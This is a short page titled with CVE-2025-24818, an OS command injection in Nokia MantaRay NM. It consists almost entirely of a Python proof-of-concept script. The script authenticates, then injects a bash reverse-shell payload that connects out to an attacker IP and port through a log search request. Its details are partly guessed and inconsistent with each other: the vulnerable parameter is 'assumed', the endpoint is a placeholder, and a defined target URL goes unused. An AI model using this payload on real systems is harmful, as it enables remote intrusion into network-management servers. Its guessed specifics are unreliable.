CVE-2025-24818 Nokia MantaRay NM OS命令注入漏洞

# PoC for CVE-2025-24818 (OS Command Injection in Nokia MantaRay NM) # This script demonstrates the vulnerability by sending a malicious payload to the Log Search endpoint. import requests import sys # Configuration TARGET_URL = "https://<TARGET_IP>/log_search_endpoint" # Replace with actual endpoint ATTACKER_IP = "192.168.1.100" ATTACKER_PORT = 4444 def exploit(target_ip, username, password): session = requests.Session() # 1. Authenticate to get a valid session (Low privilege required) login_url = f"{target_ip}/login" login_data = {"username": username, "password": password} session.post(login_url, data=login_data, verify=False) # 2. Craft the OS Command Injection payload # Attempting to execute a reverse shell using bash # The vulnerable parameter is assumed to be 'search_term' payload = f"; /bin/bash -c 'bash -i >& /dev/tcp/{ATTACKER_IP}/{ATTACKER_PORT} 0>&1'" # 3. Send the request to the vulnerable Log Search application exploit_url = f"{target_ip}/api/log/search" params = { "query": payload, "module": "system" } try: print(f"[*] Sending payload to {exploit_url}...") response = session.get(exploit_url, params=params, verify=False, timeout=5) print(f"[*] Response status: {response.status_code}") print("[*] Check your netcat listener for a shell connection.") except Exception as e: print(f"[-] Exploit failed: {e}") if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: python {sys.argv[0]} <target_ip> <username> <password>") sys.exit(1) exploit(sys.argv[1], sys.argv[2], sys.argv[3])